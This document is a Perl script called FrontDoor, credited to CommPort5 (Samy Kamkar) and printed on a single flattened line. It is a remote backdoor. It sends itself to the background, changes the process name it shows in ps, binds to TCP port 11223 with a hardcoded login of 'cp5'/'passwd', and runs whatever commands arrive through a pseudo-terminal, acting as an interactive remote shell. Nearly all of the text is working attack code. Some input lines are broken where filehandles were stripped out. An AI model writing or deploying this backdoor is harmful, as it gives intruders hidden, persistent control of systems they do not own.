#!/usr/bin/perl # by CommPort5[@LucidX.com] (Samy Kamkar) # opens a pty instead of just a plain connection so ansi can get through, PoC $login = 0; # if = 1, use $loginbin to login as a regular user # if = 0, use it's own username and password # login not active yet! $0 = "FrontDoor"; # what to show instead of 'perl frontdoor.pl' in a ps $pwprompt = 2; # if = 2, prompts you for a username and password # if = 1, prompts you for a password # if = 0, accepts the password (but no text is shown) $amtusers = 02; # amount of connections allowed at once $username = "cp5"; # username (required, but only used if $pwprompt = 1 or 2) $password = "passwd"; # password $port = 11223; # port to bind to $bindtoip = 0; # if = 1, binds to $ip # if = 0, ignores $ip and binds to default IP $ip = "123.45.67.89"; # binds to this ip only if $bindtoip = 1 $loginbin = "/usr/bin/login"; # path to `login` bin use blib; use Cwd; use IO::Pty; use IO::Socket; use Term::ANSIColor; require POSIX; defined($fork = fork()); ($fork) && die "FrontDoor running on PID $fork\n"; $ver = "0.1b2"; if($bindtoip) { $x = IO::Socket::INET->new( LocalPort => $port, LocalAddr => $ip, Listen => $amtusers, Proto => 'tcp', Reuse => 1) or die "Unable to bind to socket: $!\n";; } else { $x = IO::Socket::INET->new( LocalPort => $port, Listen => $amtusers, Proto => 'tcp', Reuse => 1) or die "Unable to bind to socket: $!\n"; } while(my $c = $x->accept) { die unless defined(my $child = fork()); if ($child == 0) { $x->close; interact($c); exit 0; } } continue { $c->close; } sub interact { my $s = shift; STDIN->fdopen($s, "r"); STDOUT->fdopen($s, "w"); STDERR->fdopen($s, "w"); STDOUT->autoflush(1); if($pwprompt == 2) { print colored("\nWelcome! ", 'red'); print "This host is running "; print colored("FrontDoor ", 'bold'); print colored("[$0] ", 'bold blue'); print colored("v.$ver\n\n", 'bold red'); print "Login: "; chomp($us = ); print "Password: "; } if($pwprompt == 1) { print colored("\nWelcome! ", 'red'); print "This host is running "; print colored("FrontDoor ", 'bold'); print colored("[$0] ", 'bold blue'); print colored("v.$ver\n\n", 'bold red'); print "\nPassword: "; } chomp($x = ); if($pwprompt == 2 and $us !~ /^$username/i) { die "\nIncorrect username or password\n"; close($x); } if($x =~ /^$password/) { print "\n"; do { $pwd = cwd; print "pt"; print colored("SH", 'bold'); print colored("[", 'bold blue'); print colored("$username", 'red'); print colored("\@", 'bold green'); print colored("$pwd", 'yellow'); print colored("]", 'bold blue'); print colored("\$", 'underline bold blink black on_white'); print " "; chomp($y = ); if($y =~ /^\s*exit/) { die "Good bye, $username!\n"; } else { @cm = split(/\s+/, $y); $pty = new IO::Pty; if(@cm and $cm[0] =~ /^cd$/) { chdir($cm[1]); $num = 2; while($cm[$num]) { $nc .= $cm[$num]; $num++; } @cm = split(/\s+/, $nc); } if(@cm and $cm[0] !~ /^cd$/) { my $pid = fork; die "Cannot fork: $!" if($pid < 0); if($pid) { parent($pty); } else { child($pty); } } sub child { my($pty) = @_; POSIX::setsid(); my $tty = $pty->slave; close($pty); open(STDIN, "<&".fileno($tty)) || (sleep(5), die "Cannot open STDIN"); open(STDOUT, ">&".fileno($tty)) || (sleep(5), die "Cannot open STDOUT"); open(STDERR, ">&STDOUT") || (sleep(5), die "Cannot open STDERR"); close($tty); my $prog = shift(@cm); if(!@cm && $prog =~ /sh$/) { exec $prog '-sh' } exec($prog, @cm); die "Unable to execute\n"; } sub process { my($rin, $src, $dst) = @_; my $buf = ''; my $read = sysread($src, $buf, 1); if(defined $read && $read) { syswrite($dst, $buf, $read); } else { vec($rin, fileno($src), 1) = 0; } return $rin; } sub parent { my($pty) = @_; my $tty = $pty; my($rin, $win, $ein) = ('', '', ''); vec($rin, fileno(STDIN), 1) = 1; vec($rin, fileno($tty), 1) = 1; vec($win, fileno($tty), 1) = 1; vec($ein, fileno($tty), 1) = 1; select($tty); $| = 1; select(STDOUT); $| = 1; while(1) { my($rout, $wout, $eout, $timeleft); ($nfound, $timeleft) = select($rout = $rin, $wout = $win, $eout = $ein, 3600); die "select failed: $!" if($nfound < 0); if($nfound > 0) { if(vec($eout, fileno($tty), 1)) { } if(vec($rout, fileno($tty), 1)) { $rin = process($rin, $tty, STDOUT); last unless(vec($rin, fileno($tty), 1)); } elsif(vec($rout, fileno(STDIN), 1) && vec($wout, fileno($tty), 1)) { $rin = process($rin, STDIN, $tty); } } } } } } while(1); } else { if($pwprompt == 2) { die "\nIncorrect username or password\n"; close($x); } if($pwprompt == 1) { die "\nIncorrect password\n"; close($x); } if($pwprompt == 0) { die "\n"; close($x); } } }